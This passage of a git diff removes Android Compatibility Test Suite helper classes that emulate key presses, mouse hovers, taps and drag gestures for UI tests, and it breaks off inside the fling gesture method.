index 97e4310..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
+++ /dev/null
@@ -1,293 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.util.Log;
-import android.view.InputDevice;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.inputmethod.InputMethodManager;
-
-import java.lang.reflect.Field;
-
-/**
- * Utility class to send KeyEvents bypassing the IME. The code is similar to functions in
- * {@link Instrumentation} and {@link android.test.InstrumentationTestCase} classes. It uses
- * {@link InputMethodManager#dispatchKeyEventFromInputMethod(View, KeyEvent)} to send the events.
- * After sending the events waits for idle.
- */
-public final class CtsKeyEventUtil {
-
- private CtsKeyEventUtil() {}
-
- /**
- * Sends the key events corresponding to the text to the app being instrumented.
- *
- * @param instrumentation the instrumentation used to run the test.
- * @param targetView View to find the ViewRootImpl and dispatch.
- * @param text The text to be sent. Null value returns immediately.
- */
- public static void sendString(final Instrumentation instrumentation, final View targetView,
- final String text) {
- if (text == null) {
- return;
- }
-
- KeyEvent[] events = getKeyEvents(text);
-
- if (events != null) {
- for (int i = 0; i < events.length; i++) {
- // We have to change the time of an event before injecting it because
- // all KeyEvents returned by KeyCharacterMap.getEvents() have the same
- // time stamp and the system rejects too old events. Hence, it is
- // possible for an event to become stale before it is injected if it
- // takes too long to inject the preceding ones.
- sendKey(instrumentation, targetView, KeyEvent.changeTimeRepeat(
- events[i], SystemClock.uptimeMillis(), 0 /* newRepeat */));
- }
- }
- }
-
- /**
- * Sends a series of key events through instrumentation. For instance:
- * sendKeys(view, KEYCODE_DPAD_LEFT, KEYCODE_DPAD_CENTER).
- *
- * @param instrumentation the instrumentation used to run the test.
- * @param targetView View to find the ViewRootImpl and dispatch.
- * @param keys The series of key codes.
- */
- public static void sendKeys(final Instrumentation instrumentation, final View targetView,
- final int...keys) {
- final int count = keys.length;
-
- for (int i = 0; i < count; i++) {
- try {
- sendKeyDownUp(instrumentation, targetView, keys[i]);
- } catch (SecurityException e) {
- // Ignore security exceptions that are now thrown
- // when trying to send to another app, to retain
- // compatibility with existing tests.
- }
- }
- }
-
- /**
- * Sends a series of key events through instrumentation. The sequence of keys is a string
- * containing the key names as specified in KeyEvent, without the KEYCODE_ prefix. For
- * instance: sendKeys(view, "DPAD_LEFT A B C DPAD_CENTER"). Each key can be repeated by using
- * the N* prefix. For instance, to send two KEYCODE_DPAD_LEFT, use the following:
- * sendKeys(view, "2*DPAD_LEFT").
- *
- * @param instrumentation the instrumentation used to run the test.
- * @param targetView View to find the ViewRootImpl and dispatch.
- * @param keysSequence The sequence of keys.
- */
- public static void sendKeys(final Instrumentation instrumentation, final View targetView,
- final String keysSequence) {
- final String[] keys = keysSequence.split(" ");
- final int count = keys.length;
-
- for (int i = 0; i < count; i++) {
- String key = keys[i];
- int repeater = key.indexOf('*');
-
- int keyCount;
- try {
- keyCount = repeater == -1 ? 1 : Integer.parseInt(key.substring(0, repeater));
- } catch (NumberFormatException e) {
- Log.w("ActivityTestCase", "Invalid repeat count: " + key);
- continue;
- }
-
- if (repeater != -1) {
- key = key.substring(repeater + 1);
- }
-
- for (int j = 0; j < keyCount; j++) {
- try {
- final Field keyCodeField = KeyEvent.class.getField("KEYCODE_" + key);
- final int keyCode = keyCodeField.getInt(null);
- try {
- sendKeyDownUp(instrumentation, targetView, keyCode);
- } catch (SecurityException e) {
- // Ignore security exceptions that are now thrown
- // when trying to send to another app, to retain
- // compatibility with existing tests.
- }
- } catch (NoSuchFieldException e) {
- Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
- break;
- } catch (IllegalAccessException e) {
- Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
- break;
- }
- }
- }
- }
-
- /**
- * Sends an up and down key events.
- *
- * @param instrumentation the instrumentation used to run the test.
- * @param targetView View to find the ViewRootImpl and dispatch.
- * @param key The integer keycode for the event to be sent.
- */
- public static void sendKeyDownUp(final Instrumentation instrumentation, final View targetView,
- final int key) {
- sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
- sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
- }
-
- /**
- * Sends a key event.
- *
- * @param instrumentation the instrumentation used to run the test.
- * @param targetView View to find the ViewRootImpl and dispatch.
- * @param event KeyEvent to be send.
- */
- public static void sendKey(final Instrumentation instrumentation, final View targetView,
- final KeyEvent event) {
- validateNotAppThread();
-
- long downTime = event.getDownTime();
- long eventTime = event.getEventTime();
- int action = event.getAction();
- int code = event.getKeyCode();
- int repeatCount = event.getRepeatCount();
- int metaState = event.getMetaState();
- int deviceId = event.getDeviceId();
- int scanCode = event.getScanCode();
- int source = event.getSource();
- int flags = event.getFlags();
- if (source == InputDevice.SOURCE_UNKNOWN) {
- source = InputDevice.SOURCE_KEYBOARD;
- }
- if (eventTime == 0) {
- eventTime = SystemClock.uptimeMillis();
- }
- if (downTime == 0) {
- downTime = eventTime;
- }
-
- final KeyEvent newEvent = new KeyEvent(downTime, eventTime, action, code, repeatCount,
- metaState, deviceId, scanCode, flags, source);
-
- InputMethodManager imm = targetView.getContext().getSystemService(InputMethodManager.class);
- imm.dispatchKeyEventFromInputMethod(null, newEvent);
- instrumentation.waitForIdleSync();
- }
-
- /**
- * Sends a key event while holding another modifier key down, then releases both keys and
- * waits for idle sync. Useful for sending combinations like shift + tab.
- *
- * @param instrumentation the instrumentation used to run the test.
- * @param targetView View to find the ViewRootImpl and dispatch.
- * @param keyCodeToSend The integer keycode for the event to be sent.
- * @param modifierKeyCodeToHold The integer keycode of the modifier to be held.
- */
- public static void sendKeyWhileHoldingModifier(final Instrumentation instrumentation,
- final View targetView, final int keyCodeToSend,
- final int modifierKeyCodeToHold) {
- final int metaState = getMetaStateForModifierKeyCode(modifierKeyCodeToHold);
- final long downTime = SystemClock.uptimeMillis();
-
- final KeyEvent holdKeyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
- modifierKeyCodeToHold, 0 /* repeat */);
- sendKey(instrumentation ,targetView, holdKeyDown);
-
- final KeyEvent keyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
- keyCodeToSend, 0 /* repeat */, metaState);
- sendKey(instrumentation, targetView, keyDown);
-
- final KeyEvent keyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
- keyCodeToSend, 0 /* repeat */, metaState);
- sendKey(instrumentation, targetView, keyUp);
-
- final KeyEvent holdKeyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
- modifierKeyCodeToHold, 0 /* repeat */);
- sendKey(instrumentation, targetView, holdKeyUp);
-
- instrumentation.waitForIdleSync();
- }
-
- private static int getMetaStateForModifierKeyCode(int modifierKeyCode) {
- if (!KeyEvent.isModifierKey(modifierKeyCode)) {
- throw new IllegalArgumentException("Modifier key expected, but got: "
- + KeyEvent.keyCodeToString(modifierKeyCode));
- }
-
- int metaState;
- switch (modifierKeyCode) {
- case KeyEvent.KEYCODE_SHIFT_LEFT:
- metaState = KeyEvent.META_SHIFT_LEFT_ON;
- break;
- case KeyEvent.KEYCODE_SHIFT_RIGHT:
- metaState = KeyEvent.META_SHIFT_RIGHT_ON;
- break;
- case KeyEvent.KEYCODE_ALT_LEFT:
- metaState = KeyEvent.META_ALT_LEFT_ON;
- break;
- case KeyEvent.KEYCODE_ALT_RIGHT:
- metaState = KeyEvent.META_ALT_RIGHT_ON;
- break;
- case KeyEvent.KEYCODE_CTRL_LEFT:
- metaState = KeyEvent.META_CTRL_LEFT_ON;
- break;
- case KeyEvent.KEYCODE_CTRL_RIGHT:
- metaState = KeyEvent.META_CTRL_RIGHT_ON;
- break;
- case KeyEvent.KEYCODE_META_LEFT:
- metaState = KeyEvent.META_META_LEFT_ON;
- break;
- case KeyEvent.KEYCODE_META_RIGHT:
- metaState = KeyEvent.META_META_RIGHT_ON;
- break;
- case KeyEvent.KEYCODE_SYM:
- metaState = KeyEvent.META_SYM_ON;
- break;
- case KeyEvent.KEYCODE_NUM:
- metaState = KeyEvent.META_NUM_LOCK_ON;
- break;
- case KeyEvent.KEYCODE_FUNCTION:
- metaState = KeyEvent.META_FUNCTION_ON;
- break;
- default:
- // Safety net: all modifier keys need to have at least one meta state associated.
- throw new UnsupportedOperationException("No meta state associated with "
- + "modifier key: " + KeyEvent.keyCodeToString(modifierKeyCode));
- }
-
- return KeyEvent.normalizeMetaState(metaState);
- }
-
- private static KeyEvent[] getKeyEvents(final String text) {
- KeyCharacterMap keyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
- return keyCharacterMap.getEvents(text.toCharArray());
- }
-
- private static void validateNotAppThread() {
- if (Looper.myLooper() == Looper.getMainLooper()) {
- throw new RuntimeException(
- "This method can not be called from the main application thread");
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java
deleted file mode 100644
index 54985dc..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.mockito.verification.VerificationMode;
-
-public class CtsMockitoUtils {
- private CtsMockitoUtils() {}
-
- public static VerificationMode within(long timeout) {
- return new Within(timeout);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java
deleted file mode 100644
index e53eb08..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static org.mockito.Matchers.argThat;
-import static org.mockito.Matchers.eq;
-import static org.mockito.Mockito.inOrder;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.os.SystemClock;
-import android.view.InputDevice;
-import android.view.MotionEvent;
-import android.view.View;
-
-import org.mockito.ArgumentMatcher;
-import org.mockito.InOrder;
-
-public final class CtsMouseUtil {
-
- private CtsMouseUtil() {}
-
- public static View.OnHoverListener installHoverListener(View view) {
- return installHoverListener(view, true);
- }
-
- public static View.OnHoverListener installHoverListener(View view, boolean result) {
- final View.OnHoverListener mockListener = mock(View.OnHoverListener.class);
- view.setOnHoverListener((v, event) -> {
- // Clone the event to work around event instance reuse in the framework.
- mockListener.onHover(v, MotionEvent.obtain(event));
- return result;
- });
- return mockListener;
- }
-
- public static void clearHoverListener(View view) {
- view.setOnHoverListener(null);
- }
-
- public static MotionEvent obtainMouseEvent(int action, View anchor, int offsetX, int offsetY) {
- final long eventTime = SystemClock.uptimeMillis();
- final int[] screenPos = new int[2];
- anchor.getLocationOnScreen(screenPos);
- final int x = screenPos[0] + offsetX;
- final int y = screenPos[1] + offsetY;
- MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
- event.setSource(InputDevice.SOURCE_MOUSE);
- return event;
- }
-
- /**
- * Emulates a hover move on a point relative to the top-left corner of the passed {@link View}.
- * Offset parameters are used to compute the final screen coordinates of the tap point.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param anchor the anchor view to determine the tap location on the screen
- * @param offsetX extra X offset for the move
- * @param offsetY extra Y offset for the move
- */
- public static void emulateHoverOnView(Instrumentation instrumentation, View anchor, int offsetX,
- int offsetY) {
- final long downTime = SystemClock.uptimeMillis();
- final UiAutomation uiAutomation = instrumentation.getUiAutomation();
- final int[] screenPos = new int[2];
- anchor.getLocationOnScreen(screenPos);
- final int x = screenPos[0] + offsetX;
- final int y = screenPos[1] + offsetY;
-
- injectHoverEvent(uiAutomation, downTime, x, y);
- }
-
- private static void injectHoverEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
- int yOnScreen) {
- MotionEvent event = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_HOVER_MOVE,
- xOnScreen, yOnScreen, 0);
- event.setSource(InputDevice.SOURCE_MOUSE);
- uiAutomation.injectInputEvent(event, true);
- event.recycle();
- }
-
- public static class ActionMatcher implements ArgumentMatcher<MotionEvent> {
- private final int mAction;
-
- public ActionMatcher(int action) {
- mAction = action;
- }
-
- @Override
- public boolean matches(MotionEvent actual) {
- return actual.getAction() == mAction;
- }
-
- @Override
- public String toString() {
- return "action=" + MotionEvent.actionToString(mAction);
- }
- }
-
- public static class PositionMatcher extends ActionMatcher {
- private final int mX;
- private final int mY;
-
- public PositionMatcher(int action, int x, int y) {
- super(action);
- mX = x;
- mY = y;
- }
-
- @Override
- public boolean matches(MotionEvent actual) {
- return super.matches(actual)
- && ((int) actual.getX()) == mX
- && ((int) actual.getY()) == mY;
- }
-
- @Override
- public String toString() {
- return super.toString() + "@(" + mX + "," + mY + ")";
- }
- }
-
- public static void verifyEnterMove(View.OnHoverListener listener, View view, int moveCount) {
- final InOrder inOrder = inOrder(listener);
- verifyEnterMoveInternal(listener, view, moveCount, inOrder);
- inOrder.verifyNoMoreInteractions();
- }
-
- public static void verifyEnterMoveExit(
- View.OnHoverListener listener, View view, int moveCount) {
- final InOrder inOrder = inOrder(listener);
- verifyEnterMoveInternal(listener, view, moveCount, inOrder);
- inOrder.verify(listener, times(1)).onHover(eq(view),
- argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_EXIT)));
- inOrder.verifyNoMoreInteractions();
- }
-
- private static void verifyEnterMoveInternal(
- View.OnHoverListener listener, View view, int moveCount, InOrder inOrder) {
- inOrder.verify(listener, times(1)).onHover(eq(view),
- argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_ENTER)));
- inOrder.verify(listener, times(moveCount)).onHover(eq(view),
- argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_MOVE)));
- }
-}
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
deleted file mode 100644
index bd53549..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ /dev/null
@@ -1,614 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.graphics.Point;
-import android.os.SystemClock;
-import android.support.test.rule.ActivityTestRule;
-import android.util.SparseArray;
-import android.view.InputDevice;
-import android.view.MotionEvent;
-import android.view.View;
-import android.view.ViewConfiguration;
-import android.view.ViewGroup;
-
-/**
- * Test utilities for touch emulation.
- */
-public final class CtsTouchUtils {
- /**
- * Interface definition for a callback to be invoked when an event has been injected.
- */
- public interface EventInjectionListener {
- /**
- * Callback method to be invoked when a {MotionEvent#ACTION_DOWN} has been injected.
- * @param xOnScreen X coordinate of the injected event.
- * @param yOnScreen Y coordinate of the injected event.
- */
- public void onDownInjected(int xOnScreen, int yOnScreen);
-
- /**
- * Callback method to be invoked when a {MotionEvent#ACTION_MOVE} has been injected.
- * @param xOnScreen X coordinates of the injected event.
- * @param yOnScreen Y coordinates of the injected event.
- */
- public void onMoveInjected(int[] xOnScreen, int[] yOnScreen);
-
- /**
- * Callback method to be invoked when a {MotionEvent#ACTION_UP} has been injected.
- * @param xOnScreen X coordinate of the injected event.
- * @param yOnScreen Y coordinate of the injected event.
- */
- public void onUpInjected(int xOnScreen, int yOnScreen);
- }
-
- private CtsTouchUtils() {}
-
- /**
- * Emulates a tap in the center of the passed {@link View}.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param view the view to "tap"
- */
- public static void emulateTapOnViewCenter(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View view) {
- emulateTapOnView(instrumentation, activityTestRule, view, view.getWidth() / 2,
- view.getHeight() / 2);
- }
-
- /**
- * Emulates a tap on a point relative to the top-left corner of the passed {@link View}. Offset
- * parameters are used to compute the final screen coordinates of the tap point.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param anchorView the anchor view to determine the tap location on the screen
- * @param offsetX extra X offset for the tap
- * @param offsetY extra Y offset for the tap
- */
- public static void emulateTapOnView(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View anchorView,
- int offsetX, int offsetY) {
- final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
- // Get anchor coordinates on the screen
- final int[] viewOnScreenXY = new int[2];
- anchorView.getLocationOnScreen(viewOnScreenXY);
- int xOnScreen = viewOnScreenXY[0] + offsetX;
- int yOnScreen = viewOnScreenXY[1] + offsetY;
- final UiAutomation uiAutomation = instrumentation.getUiAutomation();
- final long downTime = SystemClock.uptimeMillis();
-
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
- injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
-
- // Wait for the system to process all events in the queue
- if (activityTestRule != null) {
- WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
- activityTestRule.getActivity().getWindow().getDecorView(), null);
- } else {
- instrumentation.waitForIdleSync();
- }
- }
-
- /**
- * Emulates a double tap in the center of the passed {@link View}.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param view the view to "double tap"
- */
- public static void emulateDoubleTapOnViewCenter(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View view) {
- emulateDoubleTapOnView(instrumentation, activityTestRule, view, view.getWidth() / 2,
- view.getHeight() / 2);
- }
-
- /**
- * Emulates a double tap on a point relative to the top-left corner of the passed {@link View}.
- * Offset parameters are used to compute the final screen coordinates of the tap points.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param anchorView the anchor view to determine the tap location on the screen
- * @param offsetX extra X offset for the taps
- * @param offsetY extra Y offset for the taps
- */
- public static void emulateDoubleTapOnView(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View anchorView,
- int offsetX, int offsetY) {
- final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
- // Get anchor coordinates on the screen
- final int[] viewOnScreenXY = new int[2];
- anchorView.getLocationOnScreen(viewOnScreenXY);
- int xOnScreen = viewOnScreenXY[0] + offsetX;
- int yOnScreen = viewOnScreenXY[1] + offsetY;
- final UiAutomation uiAutomation = instrumentation.getUiAutomation();
- final long downTime = SystemClock.uptimeMillis();
-
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
- injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
- injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
-
- // Wait for the system to process all events in the queue
- if (activityTestRule != null) {
- WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
- activityTestRule.getActivity().getWindow().getDecorView(), null);
- } else {
- instrumentation.waitForIdleSync();
- }
- }
-
- /**
- * Emulates a linear drag gesture between 2 points across the screen.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param dragStartX Start X of the emulated drag gesture
- * @param dragStartY Start Y of the emulated drag gesture
- * @param dragAmountX X amount of the emulated drag gesture
- * @param dragAmountY Y amount of the emulated drag gesture
- */
- public static void emulateDragGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule,
- int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
- emulateDragGesture(instrumentation, activityTestRule,
- dragStartX, dragStartY, dragAmountX, dragAmountY,
- 2000, 20, null);
- }
-
- private static void emulateDragGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule,
- int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
- int dragDurationMs, int moveEventCount) {
- emulateDragGesture(instrumentation, activityTestRule,
- dragStartX, dragStartY, dragAmountX, dragAmountY,
- dragDurationMs, moveEventCount, null);
- }
-
- private static void emulateDragGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule,
- int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
- int dragDurationMs, int moveEventCount,
- EventInjectionListener eventInjectionListener) {
- // We are using the UiAutomation object to inject events so that drag works
- // across view / window boundaries (such as for the emulated drag and drop
- // sequences)
- final UiAutomation uiAutomation = instrumentation.getUiAutomation();
- final long downTime = SystemClock.uptimeMillis();
-
- injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY, eventInjectionListener);
-
- // Inject a sequence of MOVE events that emulate the "move" part of the gesture
- injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
- dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs,
- eventInjectionListener);
-
- injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
- dragStartY + dragAmountY, eventInjectionListener);
-
- // Wait for the system to process all events in the queue
- if (activityTestRule != null) {
- WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
- activityTestRule.getActivity().getWindow().getDecorView(), null);
- } else {
- instrumentation.waitForIdleSync();
- }
- }
-
- /**
- * Emulates a series of linear drag gestures across the screen between multiple points without
- * lifting the finger. Note that this function does not support curve movements between the
- * points.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param coordinates the ordered list of points for the drag gesture
- */
- public static void emulateDragGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, SparseArray<Point> coordinates) {
- emulateDragGesture(instrumentation, activityTestRule, coordinates, 2000, 20);
- }
-
- private static void emulateDragGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule,
- SparseArray<Point> coordinates, int dragDurationMs, int moveEventCount) {
- final int coordinatesSize = coordinates.size();
- if (coordinatesSize < 2) {
- throw new IllegalArgumentException("Need at least 2 points for emulating drag");
- }
- // We are using the UiAutomation object to inject events so that drag works
- // across view / window boundaries (such as for the emulated drag and drop
- // sequences)
- final UiAutomation uiAutomation = instrumentation.getUiAutomation();
- final long downTime = SystemClock.uptimeMillis();
-
- injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y, null);
-
- // Move to each coordinate.
- for (int i = 0; i < coordinatesSize - 1; i++) {
- // Inject a sequence of MOVE events that emulate the "move" part of the gesture.
- injectMoveEventsForDrag(uiAutomation,
- downTime,
- true,
- coordinates.get(i).x,
- coordinates.get(i).y,
- coordinates.get(i + 1).x,
- coordinates.get(i + 1).y,
- moveEventCount,
- dragDurationMs,
- null);
- }
-
- injectUpEvent(uiAutomation,
- downTime,
- true,
- coordinates.get(coordinatesSize - 1).x,
- coordinates.get(coordinatesSize - 1).y,
- null);
-
- // Wait for the system to process all events in the queue
- if (activityTestRule != null) {
- WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
- activityTestRule.getActivity().getWindow().getDecorView(), null);
- } else {
- instrumentation.waitForIdleSync();
- }
- }
-
- private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
- int yOnScreen, EventInjectionListener eventInjectionListener) {
- MotionEvent eventDown = MotionEvent.obtain(
- downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
- eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
- uiAutomation.injectInputEvent(eventDown, true);
- if (eventInjectionListener != null) {
- eventInjectionListener.onDownInjected(xOnScreen, yOnScreen);
- }
- eventDown.recycle();
- return downTime;
- }
-
- private static void injectMoveEventForTap(UiAutomation uiAutomation, long downTime,
- int touchSlop, int xOnScreen, int yOnScreen) {
- MotionEvent eventMove = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE,
- xOnScreen + (touchSlop / 2.0f), yOnScreen + (touchSlop / 2.0f), 1);
- eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
- uiAutomation.injectInputEvent(eventMove, true);
- eventMove.recycle();
- }
-
- private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
- boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
- int moveEventCount, int dragDurationMs, EventInjectionListener eventInjectionListener) {
- final int dragAmountX = dragEndX - dragStartX;
- final int dragAmountY = dragEndY - dragStartY;
- final int sleepTime = dragDurationMs / moveEventCount;
-
- // sleep for a bit to emulate the overall drag gesture.
- long prevEventTime = downTime;
- SystemClock.sleep(sleepTime);
- for (int i = 0; i < moveEventCount; i++) {
- // Note that the first MOVE event is generated "away" from the coordinates
- // of the start / DOWN event, and the last MOVE event is generated
- // at the same coordinates as the subsequent UP event.
- final int moveX = dragStartX + dragAmountX * (i + 1) / moveEventCount;
- final int moveY = dragStartY + dragAmountY * (i + 1) / moveEventCount;
- long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
-
- // If necessary, generate history for our next MOVE event. The history is generated
- // to be spaced at 10 millisecond intervals, interpolating the coordinates from the
- // last generated MOVE event to our current one.
- int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
- int[] xCoordsForListener = (eventInjectionListener == null) ? null :
- new int[Math.max(1, historyEventCount)];
- int[] yCoordsForListener = (eventInjectionListener == null) ? null :
- new int[Math.max(1, historyEventCount)];
- MotionEvent eventMove = null;
- if (historyEventCount == 0) {
- eventMove = MotionEvent.obtain(
- downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
- if (eventInjectionListener != null) {
- xCoordsForListener[0] = moveX;
- yCoordsForListener[0] = moveY;
- }
- } else {
- final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
- final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
- final int deltaMoveX = moveX - prevMoveX;
- final int deltaMoveY = moveY - prevMoveY;
- final long deltaTime = (eventTime - prevEventTime);
- for (int historyIndex = 0; historyIndex < historyEventCount; historyIndex++) {
- int stepMoveX = prevMoveX + deltaMoveX * (historyIndex + 1) / historyEventCount;
- int stepMoveY = prevMoveY + deltaMoveY * (historyIndex + 1) / historyEventCount;
- long stepEventTime = useCurrentEventTime
- ? prevEventTime + deltaTime * (historyIndex + 1) / historyEventCount
- : downTime;
- if (historyIndex == 0) {
- // Generate the first event in our sequence
- eventMove = MotionEvent.obtain(downTime, stepEventTime,
- MotionEvent.ACTION_MOVE, stepMoveX, stepMoveY, 1);
- } else {
- // and then add to it
- eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
- }
- if (eventInjectionListener != null) {
- xCoordsForListener[historyIndex] = stepMoveX;
- yCoordsForListener[historyIndex] = stepMoveY;
- }
- }
- }
-
- eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
- uiAutomation.injectInputEvent(eventMove, true);
- if (eventInjectionListener != null) {
- eventInjectionListener.onMoveInjected(xCoordsForListener, yCoordsForListener);
- }
- eventMove.recycle();
- prevEventTime = eventTime;
-
- // sleep for a bit to emulate the overall drag gesture.
- SystemClock.sleep(sleepTime);
- }
- }
-
- private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
- boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
- EventInjectionListener eventInjectionListener) {
- long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
- MotionEvent eventUp = MotionEvent.obtain(
- downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
- eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
- uiAutomation.injectInputEvent(eventUp, true);
- if (eventInjectionListener != null) {
- eventInjectionListener.onUpInjected(xOnScreen, yOnScreen);
- }
- eventUp.recycle();
- }
-
- /**
- * Emulates a fling gesture across the horizontal center of the passed view.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param view the view to fling
